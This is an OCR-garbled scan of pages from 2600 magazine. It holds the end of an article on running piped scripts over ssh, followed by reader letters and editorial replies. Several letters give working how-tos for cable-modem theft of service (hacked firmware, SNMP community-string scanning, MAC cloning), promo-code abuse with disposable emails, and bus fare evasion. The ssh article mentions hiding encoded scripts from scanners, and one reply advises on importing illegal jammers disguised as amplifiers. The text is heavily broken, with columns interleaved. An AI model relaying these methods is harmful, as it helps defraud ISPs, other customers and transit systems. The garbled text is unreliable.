% s s h  u s e r @moron s . examp l e  sh < s c r i p t l  

.. I s c r i p t 2  & &  s s h  u s e r@moron s . examp l e  

.. s h  < s c r i p t 3  

W i t h  o n l y  s l ight mod i ficat ions t o  my code, 
I was a b l e  to run the scr ipts from a c ron job 
on my desktop a n d  h ave it do what it needed 
to do on the remote server The roach-tok ing  
Repub l i cans  d i dn't h ave a copy of  i t .  The  scr ipt 
that d i d  most of the rea l work ( s c r i p t 2 ) d i d n ' t  
even run  on the i r  server. 

The fi rst scr ipt ( s c r i p t l ) d i d  the i n i t i a l  
san ity chec k i n g  o f  t h e  data d u mp a n d  pr i nted 
the d u mp to standard out .  The second scr ipt 
( s c r i p t 2 ) read the d u mp from standard i nput 
and did most of the rea l work, spi n n i ng data 
d u m p  straw i nto SQL go ld .  The output from 
s c r i p t 2  was SQL, wh ich  i t  output to a bunch  
of  temporary fi l es wh ich  were then  read by  
s c r i p t 3 . Th is  scr ipt then  d i d  some fi n a l  sa n ity 
checks and wrote the data i nto a new table .  
I t  then rena med the ta b le, so there was no 
downti me d u r i n g  u pdates . The o n l y  t h i ng I had 
to cha nge was s c r i p t 2 ;  i n stead of just  wr i t i ng 
the tempora ry fi les loca l l y, i t  had to write the 
temp fi l es to the server, so they cou l d  be read 
by s c r i p t 3  when i t  was run on the server. 

OK, some of you may be wonderi ng, 
"Hey, wa i t  a m i n ute. Was n ' t  the code on thei r 
server before you deleted i t ?  D i d n ' t  they have 
backups?" They wou l d  have had backups if 
they put down the bong long enough to l i sten 
to any of my suggest ions .  No, they d i d n ' t  h ave 
backups .  

As m u c h  as I wa nted to take a n  act ive part 
i n  screwi ng them, I knew they ' d  sc rew them­
selves and save me the troub le .  R u n n i ng the 
c ron job from my desktop worked fi ne for 
a bout  two months with no comp l a i nts from 
anyone. Then I got messages from the c ron job 
that it cou l d n ' t  connect to the server. After a 
few m i n utes of i nvest igat ion I fou nd that they 
chased away the l ast of the i r  rea l estate c l i ents 
and took the server off- l i ne.  Not o n l y  d i d  they 
screw themselves, but they d i d  i t  right on 
sched u le .  

Security Considerations & 
Other Applications 

over ssh,  but I ' l l  l eave that for someone e l se to 
demonstrate. I n  the example a bove, I was a b l e  
t o  do t h e  data process ing  on my desktop; even 
i f  the B u d s  For B u s h  i ntercepted the fi rst a n d  
l a st scr ipt i n  t h e  p ipe l i ne, they sti l l  wou l d n't 
have had the scr ipt that does the rea l work. 

These tec h n i q ues can a l so be u sed to h ide 
scr ipts on servers that scan for executa b l e  
fi l es .  Not o n l y  c a n  t h e  scr ipt be ru n remote l y, 
but  a copy of the scr ipt saved on the remote 
mach i n e  does n ' t  need to be executa b l e  to be 
p iped i nto a she l l  and executed . The scr ipt a l so 
does n ' t  need to start with hash-bang s i nce i t's 
not be ing i nvoked d i rect ly  a n d  does n ' t  need to 
prov ide the fu l l  path of the i nterpreter. I f  that's 
not enough to keep you r  sysadm i n  frustrated, 
you can a l so save an encoded copy of the 
scr ipt, a n d  p ipe it through a decoder before 
pip i ng i t  i nto an i nterpreter. 

If you do happen to be a sysadm i n, th i n k  
about u s i n g  t h i s  tec h n i q u e  to r u n  a scr ipt 
on m u l t ip le  servers. I n stead l ogg i ng i n  to 
twenty or th i rty servers to do someth i ng 
"qu i ck  a n d  s i mple," you can  ru n a for loop 
on you r desktop to run the scr ipt on each of 
the servers wh i le you s u rf the web. Even for 
somet h i ng that you norma l l y wou l d n ' t  scr ipt, 
th i s  becomes a more appea l i ng opt ion as the 
n u m ber of boxes i nc reases. Someth i ng as 
s i mple as  edit ing a conf igurat ion fi l e  on a few 
servers looks d i fferent when you th i n k  about 
i t  th is  way. 

I ' l l  l eave you with a rea l -wor ld  exa mple 
that I use regu l a r l y. I t ' s  a scr ipt to b lock 
advert i s i ng s ites u s i ng some of the t h i rd-party 
operat ing  systems on a L i n ksys WRT-S4G . 
I ' m  c u rrently u s i ng it with D D-WRT, a n d  i t ' s  
great for b lock ing  b a n n e r  a d s  on a l l  computers 
connected to my home LAN. I ca l l  the 
scr ipt adb l o c k - wr t 5 4 g ,  and it 's run with no 
a rgu ments from my laptop or desktop. Th i s  
m akes i t  easy t o  u pdate t h e  l i st a n d  i nstant ly  
protect a l l  of the computers on my LAN. The 
scr ipt that's executed on the router is a s i ng le­
quoted a rgu ment to ssh; the l i st that i t ' s  u s i ng 
is p iped to ssh ' s  standard i nput. The router 
supports pub l i c  key a uthent icat ion,  so I don ' t  
h ave to  type a passph rase when  I r u n  i t .  

I hope that  you ' ve lea rned someth i ng 
usefu l ,  and  that you can  go beyond my 
examples to c reate someth i ng usefu l .  Happy 
hack ing !  

Th i s  tec h n i q u e  i s  u sefu l for ru n n i ng a scr ipt 
on a m ac h i n e  a n d  m a k i n g  it d i ffi c u l t  to see the The scripts mentioned in this article 

code, but  it i s  not a super-secure way to keep can be downloaded from the 

you r  code from bei ng see n .  I t  wou l d  be re la - 2600 Code Repository at 
t ive ly easy for a nyone with root access on the http://www.2600.com!code/ 
remote mach i ne to capture the scr ipt be i ng ru n 
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hacked fi rmware 

l i ke to express to 2600 my gratitude 
than a nyth ing  e l se.  

for Ihe i r  hard work  i n  gell i ng  logether a l l  of  the most Configs someti mes can be mod ified to  where 

i nterest ing  theories and stor ies out there in the hack ing 
there's no l i m i t  on the speed for  the modem to use, 

f ie ld a l l  i nto one quarterly issue.  Yeah,  p lease keep the 
but that common ly  doesn't work these days s ince the 

staples . . .  it 's much  better !  I ' m  so look ing forward to 
MD5 i s  broken once you 've edited it  by putti ng i n  the 

gett ing my hands on a copy of that Best oi 2600 book!  speeds you want .  I t  doesn't match the actua l  MDS 

I 've a lways been i nto hack ing anyth ing  with a Tsap in  from the conf ig  fi l e  that  came off the I SP's TFTP server. 

it. There a re TSOPs in v i rtu a l l y  every device that oper- Yet there's sti l l  offic ia l  u n l i m ited configs ava i l ab l e  on 

ates such as D I S H  Network receivE,rs, FTA rE'ceivers, most I S Ps - you j ust need to scan and catch them i n  

modems, v ideo g a m e  consoles, and even cas ino s lot usc. Most of the t ime, network eng ineers and adm i n s  

mach i nes w h i c h  has l e d  me t o  the newfound i nterest are the ones who use these configs when they're 

in ha rdware level progra m m i n g  and engi neer ing work i n g  on th" n"twork. 

of an " a l l - i n-one" too l to make it easy to modify a In most a reas, in order to get o n l i ne with a hacked 

TSOP on any device bank v ia USB ser ia l  or U S BJTAG setup on Road R u n ner, you need to be ab le  to S N M P  

in terfaces. scan .  However, you need the right set of commu-

Anyway, I wa nted to g ive the 2600 crowd a l itt le n i ty str ings to re,lp resu l ts out of that H FC network 

more i ns ight on cable ISf' providers.  Read ing  the you 're ab le  to access. Those comm u n ity str i ngs can 

"Fxp lor ing Road Runner's I nterna l  Network" artic l e  i n  someti mes b e  tr icky t o  get. However, one sure way 

the 2 C, :2 i ssue made me wonder what was wrong with of gC'tt ing thC' str ing  i s  by having shel l  or  seria l  access 

that k ind  of setup.  Of cou rse, i t  looks l i ke it's pretty to the modf'm wher<' you can log/mon i tor the events 

i nsecu re but as a matter of fact, i t's pretty much how the modem i s  go ing  through to get o n l i ne.  I t' l l  read 

;1 1 1  cable l S I's do it .  Of cou rse, some of them mily be out the config as i t  gets on l i ne.  Then you can take 

rea l l y i nsecure as heck, such as Comcast and CharlC'r these stri ngs and do a fu l l  scan on you r  H FC range. 

which I know for a lact are the easiest l S I's to get Do it  a few ranges away from yours though because 

on l i ne' with _ without even hav ing  an accoun t  with you can not use a MAC from the same node or you ' l l  

them . Cable I S Ps have bpen abused for years a n d  it's have co l l i s ions, j u st as if you j u ped a n ick  on I Re.  

gE'tt ing worse with every ypa r that gops by. That rai ses a f lag at the CMTS wh ich  w i l l  then shut 

Road R u n ner is actua l l y  onc' of the l S I's that down and rd,oot both modems constant ly  unt i l one 

req u i re's a b i t  more work than usua l  to get o n l i n e  with stays offl i ne.  

a hacked setup.  By hacked setup, I mean a modded Some areas wi l l  have SNMP d i sab led or more 

modem where you 've f lashed the TSOf' with a custom strict secur i ty sett i ngs that need to be enab led l i ke 

f irmware or "a l ready" hacked f irmwa re, Haxorware B PI/B r l+  wh ich  doesn't work on some f irmwares 

being one of the latest "more featu red" f i rmware when the MAC has been changed from the or ig ina l  

out there' for  B roadcom 3349 based modems.  From one s i nce the man ufacturer certs embedded i nto the 

sbhacker. net (wh ich  i s  a research group that does not f lash don't match up with the new MAC. Yet the f irm-

condone thPit of sprvice so don't go there looking for ware dc've iop ing underground scene for these hacked 

he lp  on do ing th i s )  you wi l l  be poi nted in the r ight moderns i s  growing  increas ing ly  at a fast successfu l 

d i rection to get you r  own modem set up in order to rate these days, managing to stay a step a head of I SP  
have more' control over it .  Premods can be bought cable provider compan ie's, even though if they don't 
there too, but that takes the fun out of i t .  manage to stay a step ahead there are sti l l  ways to 

Some modems may be ab le  to be hacked without get past their secur i ty by doing a tota l fu l l  Tsap f lash 
a ny hardware modificat ions at a l l .  With a VxWorks/ dump off a dev ice about one m i l e  away from you r  
ll i t F i l e  method, y o u  c a n  p iau' t h e  modem i nto factory area that is a l ready prov is ioned and a l l owed onto the 
mode and then change certa i n  th i ngs on i t  and get network. I t' l l  work in most cases as long as it's the 
on l i ne us ing these sett i ngs. But this way i s  more r i sky S,lme B roadcom rev is ion as the othC'r modem is .  You 
s i nce Ilw I S P  has more control over you r  modem can a l so j u st do a fu l l  SNMP scan/dump of a cmcert 
than you do at t h i s  point .  They c a n  send it  S N M I'  off t h e  device you 're c lon ing the  MAC from and then 
quer ies (wh ich  you can d i sable)  and set  your  modem i nj ect that i nto you r  modem, but you'd need the right 
to ignore or change the SNMr ports to anyth ing  but sl'ls of the com m u n ity str i ngs to do that with .  Net-
the dC'fa u l t  S N M P  port. A l so, i t  i sn 't recommendpd if SNMP is one of the best SNMP sca n ner apps you can 
you 're looking for a stab le  "a lways on" connpetion use out therl', 
s i nce i f  i t  reboots you ' l l  hilYe to i nput the sett i ngs There are a l so much more powerfu l nl'lwork ing 

�ga i n  i f tllP or ig ina l  sl'lt i ngs aren't prov is ioned i nto the too l s  such as SolarWi nd's I3 roadband Eng ineer's 
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Too l set, wh ich  is geared more towards I S P  network 
operators. Among the favorite too l s  of m i n e  i n  th i s  
su ite wou l d  have to  be the D N S  AuditlSNMP Sweep/ 
IP B rowser/RF Subscri ber's Deta i l s/MI B  Tab le  B rowser. 
That's pretty much a l l  you'd need out of t h i s  su ite 
u n less you j u st want to go on and pack u p  a D B  with 
every s ing le  dev ice's H FC MAC, f i re u p  Sonar out 
of that su i te, and let i t  scan al l  of the subnets. You 
wi l l  want to have a l l  of the SNMP str i ngs for th i s  step 
actua l l y. Adm i n/ReadIWrite str i ngs so you can reap 
every s i ng le  dev ice off you r  ISP. But  be warned the 
D B  can reach s izes of 8GB or so . . .  i t's better to j u st 
stop as soon as it reaches 3 00MB or it's gonna be a 
b i tch to open in most cases. Or maybe i t's j ust my 
crappy puter. 

There are so many ways you can explo i t  you r  I SP. 
They usua l l y  have a centra l server for each a rea or 
poss i b l y  j ust one main centra l server where the prov i ­
s ion ing  i s  done .  A buddy of m i ne used to have access 
to the ISP prov is ion i n g  server where we cou l d  l og i n  
and change t h e  u p/downstream rates on each prov i ­
s ioned modem.  Even account  info was  access ib le .  You 
cou l d  get away with i ncreas ing a fr iend's serv ice rate 
through th i s  prov i s ion ing  server and he wou ldn 't be 
b i l led for the extra speed/ba ndwidth s ince they don't 
keep b i l l i ng i nfo and prov i s ion ing  on the same server 
or, much less, synched with the i nfo from each other. 
But  they wou l d  reset h i s  speed back to the defa u l t 
speed it was on if he was l ate and gave them a reason 
to d isab le  his cable serv ice.  However, you can a l so 
add new modem H FC MAC I Ds i nto the system but 
that'd probab ly  ra ise a f lag i n  some department. 

Most I SPs are i n secu re l i ke this because either they 
don't care, or there's j u st a lack of money to update 
each town they're prov i d i ng I nternet services to, or 
they j ust owe the town too much in franch ise fees, 
etc . to the po in t  where they're mak ing the customers 
in that town pay for i t  by h i k ing  the serv ice costs up, 
wh ich  probably leads to more p i ssed off customers 
who j ust go on and cut the i r  serv ice with them and 
then go back on l ine  with a hacked setup and rape 
them bandwidth w ise.  I t 's even worse when they start 
meter ing bandwidth because a c l oner can poss ib ly  
generate through a l l  o f  these MACs and consume a l l  
o f  the bandwidth tha t  was  set for tha t  modem's MAC 
and the legit owner for that MAC ends up pay ing  for 
the excess bandwidth used. Th i s  type of s i tuat ion i s  
going on u p  i n  Canada on Rogers. Road R u n ner i s  
a l so doing exper i ments on having metered services 
so watch out !  

I f  there's more i n terest generated from th i s  l etter or 
the 2 5 :2 "Exp lor ing Road Runner's I nterna l  Network" 
artic l e, I may go on and make a n ice big fat art i c le  on 
how easy i t  i s  to get  on each I SP. But  I ' m  not  su re if  
that'd be a good idea. After a l l ,  these I S Ps may have 
some tech that reads th i s  mag and wou l d  probab ly  
shut  these holes but, hey, i t's actu a l l y  so easy we 
wou l dn't m i nd the cha l l enge of see ing  what  the I SP  
tr ies to  do to  c l ose these ho les u p  once  a l l  t ha t  i nfo 
has been brought to the i r  attent ion.  Or maybe they 
j ust a l ready know and don't rea l l y  care wh ich is the 
case most of the t ime.  

macnutzj 
We have a feeling this all too hriefletter only touches 

upon wha t's really out there. Thanks for writing. 

m i nutes, down loads, and stream i n g  renta l s  from the 
aebn .net serv ice.  

I ' l l  start off by g iv ing you a n  examp le  promo 
s i te (set u p  you r  q uery on google  l i ke th i s :  
aebn. net "your  free g i ft" 

http ://promo.aeb n . netl 
Put in you r  1 0m i n utema i l .com address, create 

you r  accou nt, and you can now rack u p  m i n utes, 
down loads, and renta l s .  

Modify the query l i ke th i s :  s i te :promo.aebn . net 
"your  free gift" and add these quotes: 

" 1 5 m i n utes" 
"1 down load to own" 
"1 strea m i n g  renta l "  
" 1  down load" 
Some may ask for a password, q uery the s i te 

that's offer ing the promo, and add "code" in the 
search .  Someti mes i t's embedded i n  a banner so don't 
bother too much;  not every s i te uses the promo code 
system.  

Sti l l  want  more ? Check out the top sect ion :  n i ne 
languages - n i n e  more opportu n i t ies to search with i n  
each section a n d  google  t h e  trans lated s i te :promo. 
aebn . net "your  free g i ft" vers ions .  

So far, my account  has 4000 m i n utes, 40 down­
loads to own, and 50 stream i n g  renta l s .  P leasure 
yourselves over the summer, boys and g i r l s !  

R3tODD 
We regret that  your letter wasn 't actually printed 

until after the summer hut we 're sure our readers will 
adjust. 

Dear 2600: 
Where I or ig i n a l l y  come from, they sti l l  have o l d  

buses. Tickets for the tra i n  a r e  va l idated b y  mach i nes 
but when you go to take the ind iv idua l  buses, it 's 
a l l  done by the bus  dr iver. Iron ica l ly, th i s  wea kness 
comes with techno logy being used. I recently moved 
to a l a rger c i ty for job opportun i t ies and r ight away I 
noticed the i r  much  more advanced bus techno l ogy. 

It's no longer left squarely up to the bus  dr iver 
to exa m i ne you r  one time passes here. On the stand 
a lone buses, they have mach i nes that do the va l ida­
tion. When a pass i s  put in the mach i ne, i t  w i l l  ver i fy 
the pr i nted marki ngs on the pass to see if it 's sti l l  va l i d .  
I f  t h e  pass hasn't been used, there wi l l  be no marki ngs 
of date and time. The machi nes print date, t i me, and 
when the t icket expi res when you i n sert i t  i nto the 
mach i ne. You can buy these passes i n  ten packs or you 
can a lways get a month l y  pass wh ich costs a fortune 
($70 or so) .  The ten packs have tear-away t ickets. One 
day I was i n  a h u rry for the bus and tore out a t icket. 
U nfortu nate ly, when I went to put i t  in the machi ne, it 
d idn 't accept it .  The mach ine reported that there was 
a n  error and that I d idn 't i n sert the t icket in the r ight 
d i rection .  I have a habi t  of do ing th is  a l l  the t i me, so 
I went to put the t icket in aga i n, but i t  was rejected 
aga i n .  I then l ooked at the t icket and there was a sma l l  
c h u n k  m iss ing because it  d idn 't tea r away perfect ly. I 
j u st p layed it cool and was l i ke, "Why won't th i s  take 
my t icket?" The bus dr iver looked and I showed h i m  
that I was i nsert ing  t h e  t icket proper ly. I sa id,  " I  j u st 
took th i s  t icket out of my pack. It's new! See ! "  I then 
showed him the t i cket with no mark i ngs and he l et me 
on the bus .  He d idn 't take the t i cket from me thoug h !  
I wasn't over ly  su rpr i sed beca use, u n l i ke t h e  last c i ty I 

Dear 2600: l ived in, the bus dr ivers here aren't used to i nteracting  
With  regards to  the arti c l e  about  1 0m i n utemai l .  with the t icket va l idat ion.  I f  i t's i nva l id, the mach ine  

com i n  2 5 : 1 , here's a good way to  rack up free won't take it  and they j ust deny you access. It's defi-
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n ite l y a weak point  i n  the i r  secur i ty though . S i nce that 
day I have u sed the same t icket around six t i mes.  I 
a lways p u l l  the same tr ick (with the same t icket) . I t  
he lps if  they're rea l ly busy with l ots of people  because 
they want to rush you through, but i t's worked every 
t ime.  I j ust p lay i t  cool and p l ay dumb.  Do the whole, 
" H ey my t icket won't work - I don't suppose it cou l d  
be because of th i s  tear?"  Then they j ust wave me on 
the bus .  I t 's q u ite awesome when it's $ 3 . 75 a r ide.  I 
suppose i t's more of a soc i a l  engi neer ing tr ick than a 
hack. I a lso suppose I ' m  j u st cheap but it works and 
it  saves me enough for  a n  extra beer that  day and I 'm 
content with that.  

So, i f  you are a l so too poor for p u b l i c  transporta­
tion and you r  c i ty uses a s i m i l a r  system, g ive it  a try 
and maybe even get an extra beer that day. 

Bus boy 
At some point you 're going to run into the same 

driver when pulling this scam. They may not remember 
right away but eventually you will become the equiva­
lent  of a folk legend within bus driver circles. Just be 
sure you have an escape route for the day they finally 
crack the ticket tearing caper. 

Meeting Issues 
Dear 2600: 

We had some quest ions that came up in l ast 
month's meet ing and I j ust remembered to ema i l  on 
it. Our  group has been ta l k i ng about try ing  to start a 
laser project for a w h i l e  now and some of the guys 
wondered if  i t  was aga i nst any 2600 ru les to do fu nd­
ra i s i ng  for the project. I th ink the idea was to make 
some Fargo 2 600 s h i rts and se l l  them at a s l ight profit 
to the people  who came to the meet ing  with the i ntent 
of spend i n g  the profits on parts to b u i l d  our laser. We 
had a l ready p lan ned on mak ing s h i rts and sel l i ng 
them at cost, wh ich  I wou ldn 't imag ine wou l d  be a 
prob lem but  I wanted to check on that anyway and 
then the whole fu ndra i s i ng idea came u p  so it  seemed 
l i ke a good time to write to you .  

I n  summary, i s  i t  a l l  r ight for us t o  make " Fa rgo 
2600" s h i rts and sel l them for a s l ight profit to fund­
ra ise for a group project.  And i f  not, i s  i t  O K  to sel l 
them at cost? Thanks !  

Jem Tallon 
Fargo 2600 

This is fine with us as long as it 's for a good cause 
and done in a positive spirit. And contrary to the 
rumor, it's not a requirement whenever making shirts 
that mention 2600 or the meetings to send us three 
of them (either M, L, XL or L, XL, XXLJ .  SO don 't feel 
obligated to do that. Our address is on page 65 in 
case you do. 

close proximity who will take an interest. If you think 
your area has potential, then your priority should be 
getting the word out in whatever way you can. One 
technique which has worked in the past is to make 
up flyers and insert them into copies of 2600 that  are 
sitting on your local bookstore 's shelves. It takes a lot 
of patience and word of mouth to get a good meeting 
started. Be sure to read the gUidelines located at 
http://www.2600. com/meetings/guidelines. html and 
email us updates a t  meetings@2600. com so we know 
you 're still in existence. Good luck! 

Dear 2600: 
I have been attend i ng my local 2600 meet ing  for 

a l most three years now. It's q u ite big with a regu la r  
attendance of 1 0- 1 5 every month . I have ma i led i n  
t h e  past as t o  why w e  are not on t h e  offi c i a l  meet i ngs 
l i st, but got no response. So aga i n  I a m  try ing  to get 
us  put on it. 

I am not su re if  our group has been noticed, but 
we have a s i te:  http://www.brum2 600. netl 

A l so, every year we ho ld  a one day conference 
ca l led Brumcon. Th is  year we had a n u mber of 
members of the Chaos Computer Club come from 
Germany to give ta l ks .  

Any advice/i nfo wou l d  be gratefu l l y  received. 
DrF 

This leads us to an issue which pops up every now 
and then and for which we've been unable to find an 
easy solution. As stated in the guidelines mentioned 
in the previous letter (which you should have gotten 
an automated copy of when you emailed us), our 
meetings take place on the first Friday of the month. 
You 've scheduled yours for the first Saturday. It may 
seem like a stupid and bureaucratic reason not to list 
a meeting but there is a degree of logic behind this 
policy. If we had both Friday and Saturday meetings, it 
wouldn't be that big a deal to define each meeting as 
one or the other. We came close to doing this at one 
point only to be told that  those who couldn't attend 
our normal Friday evening meetings due to religious 
observances (a somewhat sizable number) would be 
doubly pissed that we 'd be excluding them by having 
Saturday as the alternate day. That  meant a third day 
would have to be a possibility too. 

Then we started hearing from people who felt the 
weekend in general was a bad time and we started 
getting requests for meetings on the third Tuesday or 
for the last Monday afternoon of the month. Apart 
from the printing nightmare this would create on 
our already crammed meeting page in the magazine, 
having meetings on so many different days would 
make it very difficult to remember which day was 
"2600 meeting day, " something we haven 't had a 
problem with since the inception of the meetings over 

Dear 2600: 20 years ago because they've consistently been held 
I j u st was i ntroduced to 2600 and bought my on the first Friday of the month. 

fi rst copy and read it .  I 'd be i nterested i n  attend ing  a We know there will always be people for whom 
meet i ng, but  there are none feas ib ly  c l ose. I th i n k  i t  Friday evening is  inconvenient or even impossible. If  
wou l d  be cool to start a meet ing  i n  the upstate New we tell these people it's OK to have meetings on a 
York a rea (Albany/Saratoga/G lens Fa l l s), but  don't different day, invariably this will set up a conflict with 
know where to start or if there is even anyone around other people in that area who don't have a problem 
here with an i nterest. I may attend the meet ing  i n  with the standard day o r  with others who want yet 
B u r l i ngton,  Vermont, but  with gas pr ices how they are another day of the month. Then it becomes a power 
(and t ime constra i nts with school outs ide of s u mmer), struggle as to which group of people will dominate 
i t  won't be feas ib le  to d rive out there every month .  and before you know it there are factions and multiple 

Robert meetings. As always, we 're open to ideas and sugges-
Meetings tend to work best in metropolitan areas tions on ways to make this work for everyone - or a t  

where there are  likely a number of  people in  fairly least for as many as possible. We believe the system 
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has worked quite well over the years as is, but if 
there's a way to include others without causing confu­
sion, we 're open to it. As you can see below, there are 
other instances of this. 

Dear 2600: 
We wou l d  j u st l i ke you to know that l ast Thu rsday 

we had our fi rst offic ia l  meeti ng.  We adverti sed the 
meet ing p lace in our com m u n ity us ing  the u n i vers i ty 
ma i l i ng l i st system to get the attent ion of as many 
peop l e  as poss ib le .  (The economy and enterta i n ment 
of th i s  town runs around the u n i versity com m u n ity. ) 

The meeti ngs wi l l  take p lace every fi rst Thursday 
of the month at 7 pm in the Borders Books and Mus ic  
coffeeshop i n  the Mayaguez Ma l l ,  Mayaguez, Puerto 
R ico.  

R ight now we consist of seven members, most of 
them students for the e lectrica l  and computer engi­
neer ing department. Some of them are u ndergradu­
ates and others are graduates. We w i l l  cont inue  to 
advertise the group as much as we can .  But  for the 
moment that's a l l  we have. 

TIA 

Dear 2600: 
I was wonderi ng if  you cou l d  prov ide the contact 

i nfo for the Auburn,  A labama group which meets i n  
"the student lounge u psta i rs i n  t h e  Foy U n ion B u i l d i ng 
at 7 pm."  

I ' m  45 m i n utes away from them and before I made 
the trek, I wanted to make sure that they were meet ing 
over the summer and that  I d idn 't need a student I D  to 
get i nto the b u i l d i ng. 

Eric 
We don't give out personal information for anyone 

involved in meetings (or anything else) . Technically, 
we don't even have meeting coordinators, so anyone 
a ttending (yourself included) would be a potential 
contact. The communication angle is handled by 
the attendees themselves. That 's why it's a good idea 
for meetings to have web pages and forums so that 
people can converse about the meetings and get 
updated information. 

General  Questions 
Dear 2600: 

I recent ly had the i dea of wr it ing an  artic l e  for 
you r  magaz ine but, s i nce i t  i sn 't in one of your usua l  
themes, I wanted to  see what  you t h i n k  of  i t  before I 
put in a l l  the effort. 

I work for CERN,  the E u ropean Center for N u c l ear 

With the L H C  (CERN's major experi ment) start ing 
up th i s  summer, there wi l l  be lots of a rt ic l es about 
CERN and the physics s ide of th i ngs. I t h i n k  you r  
readers m a y  b e  in terested i n  t h e  IT  stuff as wel l .  

Let m e  know what you th i nk .  
Alex 

It sounds like a fascinating idea and we 'd be 
eager to see what you come up with. As we say to 
everyone who writes in, please write the article you 're 
thinking of writing and assume that we 'd be interested 
in running it. Obviously we can 't promise anything 
until we see the finished product but writing is always 
better than not writing. 

Dear 2600: 
How anonymous i s  the use of green dot cards? 

Kevin  
After .spending a considerable amount of time 

and energy trying to figure out just what your ques­
tion meant, we were able to determine that  green dot 
cards are offered by various retail outlets in the United 
States and serve as prepaid credit or debit cards. They 
work in the same way except they are repleni.shed with 
cash deposits which are made at the store. That and 
they have a number of fees which tend to get people 
aggravated. Since you need to actually receive a phys­
ical card in the mail at some point. it.s not something 
we would consider entirely anonymous, although 
with a little imagination it could be used in a much 
more hidden way than a normal credit card. Green 
Dot used to operate a service known as WebSecret, 
which they described as "not requiring you to provide 
personal information, such as social security number 
and name. " Those days are apparently over as Green 
Dot now requires that info for all accounts. We would 
be interested in hearing what today's best methods are 
for remaining anonymous while using plastic. 

Dear 2600: 
I am i nterested in computers and I was wonder ing  

where a good sta rt ing point  i s  as far as learn i ng about 
code, programs, and computers i n  genera l .  Any he lp  
wou l d  be much appreciated . 

Adam 
Wander through your local bookstore and find 

things that  make a degree of sense to you, then plunge 
into them. Look for other people doing the same thing 
and you 'll be immersed in all kinds of material before 
you know it. While classes can be good, the struc­
ture and obsession with grades can be a real turnoff 
to many. 

Research,  the l argest research center for h i gh-energy Dear 2600: 
physics in the worl d .  You may a l ready know some- I forgot a n umber that you can ca l l  and f ind out 
th i n g  about us, but if  you don't you can check Wiki- the n u mber that you are at. I t  was l i ke l -BOO-my ans i  
ped i a  and I won't  bore you with the deta i l s .  I work or someth i n g  l i ke that. P lease help me. 
in the department that manages our computer center, Terry 
which  is pretty l a rge. We have about 2 B,000 CPUs, You 're thinking of the old 1 -800-MY-ANI-IS 
about 1 2 P B  of d i sk  storage, and more than 2 0 P B  of number. If you call it now, you 'll be advised to call 
tape storage, to wh ich  we w i l l  add 1 5 P B  a year. 1 0- 1 5- 1 5-800 (in actuality this is carrier access code 

As you can i magi ne, managing a l l  t h i s  stuff poses 1 0 1 5 1 58 followed by two zeros to reach that compa-
some pretty serious problems.  Most people aren't ny's "operator" service) .  This service is a huge rip-off, 
used to th i nk ing  on th i s  k ind  of sca l e, so I th i n k  it charging over five dollars to reach some sort of direc-
cou l d  make for i nterest ing read i ng. I cou l d  do a l itt le  tory assistance service which has nothing to do with 
i ntroduction on CERN,  expla i n  why we do what we the above number. 
do, and ta l k  about some of the operat iona l  issues or lust about any toll free number will have your ANI 
a nyth i ng e l se you t h i n k  cou l d  be i nterest i ng.  I won 't (Automatic Number Identification) these days. (ANI is 
ta l k  about how to hack CERN or a nyth ing  secu r i ty the billing number, usually the same as Caller ID which 
related; I don't want to b ite the hand that feeds me. is the calling number. ) Many credit card services and 
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other companies with toll free numbers will happily 
read off the number they see in order to verify your 
account. A good example of this is the one run by Met 
at 7 -800-444-4444. Most phone company central 
offices can also get you this information through the 
use of A NACs, (Automatic Number Announcement 
Circuits) which are usually used by phone company 
technicians to find out what line they're working on. 
958 and 9580 are common ones in our area but there 
are many varieties of this throughout the States and 
Canada .  But if Caller ID is good enough for your 
needs, simply calling a nearby cell phone will yield 
the number you 're at on its screen. 

Dear 2600: 
I was j ust i n q U i r i ng how much an ent i re set of 

back issues of you r  magazi nes from 1 988 (that's when 
you started, r ight?) to the present wou l d  cost. I a l so 
was ab le  to purchase Freedom Downtime and wh i l e  I 
was ab le  to watch on ly  part of it at my fr iend's apart­
ment (my DVD p layer i s  sad ly  i ncompat ib le  with the 
fi rst d i sc), I was tru l y  impressed at you r  m iss ion .  Keep 
up the good work. 

KNiGHT 
We have all  sorts of bulk discounts at  our online 

store (http://store. 2600. com) and currently the price 
for every last one of our back issues is $325. (We 
started in 7 984, incidentally. ) You might also want 
to consider our new book which comprises an awful 
lot of articles we've printed over the past 24 years. 
That 's available in bookstores or at http://www.2600. 
com/book. As for the DVD you have, there 's most 
always a way of playing the disc even if you run into 
a player that  has problems with the multiple features. 
Try hitting the menu key a bunch of times or play and 
stop. Sometimes the play button followed by the menu 
button works. We've yet to find a player that can 't play 
it at all. Please contact our support people at down­
time@2600. com if you continue to have problems. 

Dear 2600: 
My mom gave me my fi rst copy of 2 600 when I 

was in the s i xth or seventh grade. In the e ighth grade, 
I crashed a loca l tech schoo l 's network and B B S .  I 
know y'a l l  don't condone such act ions but, he l l ,  I was 
young. But th i s  i sn 't rea l l y a letter. I t's more a ques­
t ion .  I wanna submit  some cover a rt for you r  hopefu l 
approva l and maybe usage. Where do I submi t  it? 
Cou l d  y'a l l  j ust ema i l  me back, cause I wa nna get i t  in 
before the next issue? 

Oxilary 
We can almost guarantee it won't make it in time 

for this issue and we don't do personal responses to 
letters because of the enormous amount we get. While 
our covers are done in-house, we 're always open to 
seeing new stuff and maybe figuring out a way to 
include it. You can either mail it to the physical address 
listed on our staff page or email your submissions to 
articles@2600. com. We appreciate your interest and 
hope your system crashing days are over. 

Dear 2600: 
I am cur ious  as to whether you cou l d  he lp  me 

purchase a ce l l  phone jam mer. Are there stores i n  
t h e  New York C i ty a rea that se l l  them? Or are they 
comp lete ly i l legal as I 've r('ad somewhere? Any he lp  
you Cdn g ive me towards cel l phone peace and q u iet 
wou l d  be wonderfu l .  

You won't b e  able to easily find a cell phone 
jammer in a store in the States. That 's not to say they're 
not there but, as they are illegal to sell (and own) in 
the U.S., it would be tricky at best. You shouldn't have 
much of a problem finding one overseas through the 
net that can be shipped to you, however. In most 
cases they go through customs labeled as amplifiers 
or something similar. You might wind up having to 
pay some additional duty but otherwise there doesn't 
seem to be much of a problem importing them. We 
do suggest you use them sparingly and with a degree 
of discretion. 

Dear 2600: 
Not sure if you t h i n k  th i s  w i l l  be of i n terest or 

not but  thought I 'd check before wr i t ing i t  up .  Wou l d  
i t  b e  worth pub l i s h i ng an art i c l e  on legit mus ic  at a 
cheaper cost to people outs ide the States? 

For examp le, with Napster the h ighest subscr ip­
t ion vers ion  i n  the u.S .  costs about $ 1 5 whereas i n  
the U . K .  i t 's 1 5  pounds .  S o  rea l l y, the U . K .  i s  payi n g  
